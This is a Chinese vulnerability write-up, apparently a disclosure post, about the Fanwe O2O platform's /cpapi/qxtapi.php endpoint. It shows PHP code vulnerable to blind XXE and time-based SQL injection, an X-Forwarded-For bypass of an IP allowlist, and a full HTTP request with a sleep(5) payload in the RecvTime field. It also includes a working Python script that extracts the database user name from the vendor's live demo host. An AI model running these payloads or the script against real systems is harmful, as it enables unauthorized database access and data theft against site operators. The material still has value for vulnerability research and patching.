方维O2O，demo站点地址：http://o2odemo.fanwe.net/
/cpapi/qxtapi.php
define("FILE_PATH","/cpapi"); require_once '../system/system_init.php'; $ip = CLIENT_IP; $xml = file_get_contents('php://input'); if($ip!='221.179.180.156' || $xml=="") { header("Content-Type:text/html; charset=utf-8"); echo "·Ç·¨·ÃÎÊ"; exit; } $xml = str_replace(array("/r/n", "/r", "/n"), "", $xml); $xml_arr = simplexml_load_string($xml);
如上代码。IP验证是可以用XFF绕过的，后面直接调用simplexml_load_string解析POST字符串，造成XXE实体注入。
因为后面没有输出，所以这里是一个“盲注”，Blind XXE。测试了官方demo，但数据包没有发出来，可能是很多原因吧（是否支持外网、是否底层限制XML实体等），反正我本地是成功了的。
这边读到文件通过base64传给我的web日志：
这不是重点。继续看后面的代码，SQL注入是重点：
$xml_arr = simplexml_load_string($xml); $SrcMobile = $xml_arr->Body->Message->SrcMobile; $Content = $xml_arr->Body->Message->Content; $RecvTime = $xml_arr->Body->Message->RecvTime; $arr = explode("-",$Content); $prefix = $arr[0]; if($prefix!='u'&&$prefix!='v') { if(log_coupon("","短信内容:".$Content,$RecvTime)&&$SrcMobile) { $msg_data['dest'] = $SrcMobile; $msg_data['send_type'] = 0; $msg_data['content'] = "短信格式错误"; $msg_data['send_time'] = 0; $msg_data['is_send'] = 0; $msg_data['create_time'] = NOW_TIME; $msg_data['user_id'] = 0; $msg_data['is_html'] = 0; $GLOBALS['db']->autoExecute(DB_PREFIX."deal_msg_list",$msg_data); //插入 echo "ok"; exit; } }
可见从xml里读取的内容，传入了log_coupon函数，跟进看看：
function log_coupon($coupon_sn,$msg,$query_id = '') { $data = array(); $data['coupon_sn'] = $coupon_sn; $data['msg'] = $msg; $data['query_id'] = $query_id; $data['create_time'] = NOW_TIME; if($GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."coupon_log where query_id = '".$query_id."'")==0) { $GLOBALS['db']->autoExecute(DB_PREFIX."coupon_log",$data); //插入 return true; } else { return false; } }
可见query_id（也就是XML里的RecvTime）直接带入SQL语句。这个demo站可以演示了，延时注入。POST如下数据包：
POST /cpapi/qxtapi.php HTTP/1.1 Host: o2odemo.fanwe.net Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type:application/x-www-form-urlencoded Content-Length: 147 X-FORWARDED-FOR: 221.179.180.156 <aaaa> <Body> <Message> <SrcMobile>13322221111</SrcMobile> <Content>123123</Content> <RecvTime>0'|sleep(5)#</RecvTime> </Message> </Body> </aaaa>
即可看见延迟了5秒才出结果。写了个脚本跑一下数据库用户名。
#!/usr/bin/env python import requests, sys headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36', 'X-FORWARDED-FOR': '221.179.180.156' } payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789') #payloads = list('@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._') print 'start to retrive MySQL infomation:' def run(): user = '' for i in range(1,25): for payload in payloads: try: data = "<aaaa><Body><Message><SrcMobile>0</SrcMobile><Content>123123</Content><RecvTime>0'|if(ord(substr(user(),%s,1))=%s,sleep(5),1)#</RecvTime></Message></Body></aaaa>" % (i, ord(payload)) req = requests.post("http://o2odemo.fanwe.net/cpapi/qxtapi.php", data = data, headers = headers, timeout = 3) except: user += payload print '/n[In progress]', user break print '.', sys.stdout.flush() print '/n[Done]infomation is', user run()
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